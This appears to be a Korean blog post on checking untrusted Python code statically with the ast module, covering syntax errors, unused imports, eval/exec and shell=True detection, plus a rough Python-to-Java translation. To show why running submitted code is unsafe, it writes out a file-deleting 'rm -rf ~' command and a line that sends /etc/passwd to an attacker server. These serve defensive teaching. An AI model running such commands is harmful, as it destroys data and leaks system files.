파이썬 코드를 실행하지 않고 검사하기
작성일 2026-07-26 · SameOS Tools
웹에서 파이썬 코드를 받아 검사해 주는 도구를 만들어 보려다 첫 줄에서 멈췄습니다. 코드가 맞는지 확인하려면 돌려 봐야 할 것 같은데, 남이 보낸 코드를 서버에서 실행하는 순간 그 서버는 더 이상 내 것이 아니기 때문입니다. 답은 실행하지 않고 읽는 것이었습니다. 파이썬에 기본으로 들어 있는 ast 모듈이 정확히 그 일을 합니다.
왜 실행하면 안 되는가
검사라는 말을 들으면 보통 이렇게 떠올립니다 - 받은 코드를 exec()에 넣고, 오류가 나면 그 오류를 보여 주자. 잠깐은 잘 동작하는 것처럼 보입니다. 그런데 누군가 아래 두 줄을 넣으면 그것으로 끝입니다.
# 이런 코드를 받으면 어떻게 될까
import os
os.system("rm -rf ~") # 서버의 파일이 지워진다
# 또는 조용히 정보를 빼가는 쪽
import urllib.request, os
urllib.request.urlopen("http://공격자서버/?d=" + open("/etc/passwd").read())
온라인에서 코드를 실제로 돌려 주는 서비스들은 이걸 막으려고 격리된 컨테이너, 실행 시간 제한, 네트워크 차단, 메모리 상한 같은 장치를 겹겹이 씁니다. 개인 서버에서 흉내 낼 수 있는 규모가 아닙니다. 그래서 방향을 바꿨습니다 - 실행하지 않고도 알 수 있는 것만 알아내기로.
ast - 코드를 읽어 구조로 만들기
ast(추상 구문 트리)는 파이썬이 코드를 실행하기 전에 만드는 중간 형태입니다. "이 줄은 변수 대입이고, 오른쪽은 덧셈이며, 그 왼쪽은 숫자 5" 같은 구조 정보입니다. ast.parse()는 이 구조만 만들고 멈춥니다. 즉 아무리 위험한 코드를 넣어도 실행되지 않습니다. 그리고 구조를 만들 수 없으면 그것이 곧 문법 오류이므로, 오류 위치까지 함께 알려 줍니다.
import ast
def check_syntax(source):
"""문법 오류를 찾는다. 코드는 실행되지 않는다."""
try:
return ast.parse(source), None
except SyntaxError as e:
return None, {
"line": e.lineno or 0,
"col": (e.offset or 1) - 1,
"message": e.msg,
"text": (e.text or "").rstrip(),
}
# 써 보기
tree, err = check_syntax('def greet(name)\n print("hi")\n')
if err:
print(f'{err["line"]}행 {err["col"] + 1}열: {err["message"]}')
print(" " + err["text"])
print(" " + " " * err["col"] + "^")
# 출력:
# 1행 16열: expected ':'
# def greet(name)
# ^
몇 행 몇 열에서 무엇이 빠졌는지까지 나옵니다. 여기까지가 스무 줄이 안 됩니다.
문법 말고도 잡을 수 있는 것들
구조가 손에 들어오면 그 안을 돌아다니며 원하는 것을 찾을 수 있습니다. ast.walk()가 트리의 모든 마디를 하나씩 넘겨줍니다. 저는 세 가지를 찾게 했습니다 - 가져왔지만 쓰지 않는 import, eval 같은 위험한 호출, 그리고 예외를 전부 삼켜 버리는 빈 except입니다.
def find_unused_imports(tree):
"""가져왔지만 어디에서도 쓰지 않는 import 를 찾는다."""
imported = {} # 이름 -> 가져온 줄 번호
for node in ast.walk(tree):
if isinstance(node, ast.Import):
for a in node.names:
imported[(a.asname or a.name).split(".")[0]] = node.lineno
elif isinstance(node, ast.ImportFrom):
for a in node.names:
imported[a.asname or a.name] = node.lineno
# 코드 어딘가에서 그 이름이 쓰였는지 확인
used = {n.id for n in ast.walk(tree) if isinstance(n, ast.Name)}
for n in ast.walk(tree): # math.pi 처럼 점으로 이어진 경우 맨 앞 이름
if isinstance(n, ast.Attribute):
base = n
while isinstance(base, ast.Attribute):
base = base.value
if isinstance(base, ast.Name):
used.add(base.id)
return [{"line": line, "name": name}
for name, line in imported.items() if name not in used]
DANGEROUS = {
"eval": "문자열을 코드로 실행합니다. 입력값이 섞이면 침입 통로가 됩니다.",
"exec": "문자열을 코드로 실행합니다. eval 과 같은 위험입니다.",
}
def find_dangerous(tree):
"""실행 위험이 있는 호출을 찾는다."""
found = []
for node in ast.walk(tree):
if isinstance(node, ast.Call):
name = getattr(node.func, "id", None)
if name in DANGEROUS:
found.append({"line": node.lineno, "name": name, "why": DANGEROUS[name]})
# subprocess 를 셸로 부르면 명령어 주입이 가능해진다
for kw in node.keywords:
if kw.arg == "shell" and getattr(kw.value, "value", False) is True:
found.append({"line": node.lineno, "name": "shell=True",
"why": "입력값이 명령어에 섞일 수 있습니다."})
return found
실제로 돌려 본 결과입니다. 위험한 코드를 넣어도 그 코드는 실행되지 않고, 몇 행이 문제인지만 알려 줍니다.
$ printf 'import os\nimport json\nprint(json.dumps({"a":1}))\n' | python3 pycheck.py
1행: 쓰지 않는 import — os
$ printf 'import subprocess\nuser = input()\neval(user)\nsubprocess.run(user, shell=True)\n' | python3 pycheck.py
3행: 위험 — eval … 문자열을 코드로 실행합니다. 입력값이 섞이면 침입 통로가 됩니다.
4행: 위험 — shell=True … 입력값이 명령어에 섞일 수 있습니다.
$ printf 'try:\n x = 1/0\nexcept:\n pass\n' | python3 pycheck.py
3행: except: 는 모든 예외를 삼킵니다. 잡을 예외를 지정하세요.
# 위험 코드를 넣어도 실행되지 않는지 확인
$ printf 'import os\nos.system("echo 실행됨")\n' | python3 pycheck.py
문제 없음 (함수 0개) # "실행됨" 이 출력되지 않았다 = 실행되지 않았다
한계 - 실행하지 않으면 알 수 없는 것
이 방식으로 잡을 수 없는 것도 분명합니다. 문법이 맞는 코드가 실행 중에 터지는 경우 - 0으로 나누기, 없는 파일 열기, 목록 범위를 넘어서는 접근 - 는 실행해 봐야 알 수 있습니다. 변수 이름을 잘못 쓴 것도 파이썬은 실행 시점에야 알아차립니다. 그래서 이 검사는 문법과 버릇의 문제를 잡는 도구이지, 코드가 옳게 동작하는지 보증하는 도구가 아닙니다. 더 깊게 보려면 pyflakes 나 ruff 같은 전문 도구를 설치해 쓰는 편이 낫습니다.
덤 - 다른 언어로 옮겨 보기
구조를 손에 넣었으니 그것을 다른 언어 문법으로 다시 써 볼 수도 있겠다 싶어 시험해 봤습니다. 결과는 절반의 성공이었습니다. 아래는 파이썬 함수 하나를 자바로 옮긴 것입니다.
# 원본 (파이썬)
def grade(score):
bonus = 5
total = score + bonus
if total >= 90:
print("A")
else:
print("B")
return total
// 변환 결과 (자바)
public static int grade(int score) {
int bonus = 5;
int total = score + bonus;
if (total >= 90) {
System.out.println("A");
}
else {
System.out.println("B");
}
return total;
}
되는 것처럼 보이지만, 여기까지가 한계에 가깝습니다. 파이썬은 타입을 적지 않는데 자바·C++·C#은 반드시 적어야 하기 때문입니다. bonus = 5 는 숫자니까 int 라고 추측할 수 있지만, x = get_value() 는 무엇이라고 써야 할지 알 방법이 없습니다. 딕셔너리, 리스트 컴프리헨션, 클래스 상속으로 넘어가면 추측 자체가 불가능해집니다. 그래서 이런 변환은 만능 도구가 아니라 기초 문법을 나란히 비교해 보는 학습용으로만 쓸 만합니다.
마무리
정리하면 - 남의 코드를 실행하지 마세요. 실행하지 않고도 문법 오류, 쓰지 않는 import, 위험한 호출, 나쁜 예외 처리까지 찾아낼 수 있고, 필요한 것은 파이썬에 이미 들어 있는 ast 모듈 하나뿐입니다. 전체 코드는 아래 GitHub 링크에 있습니다.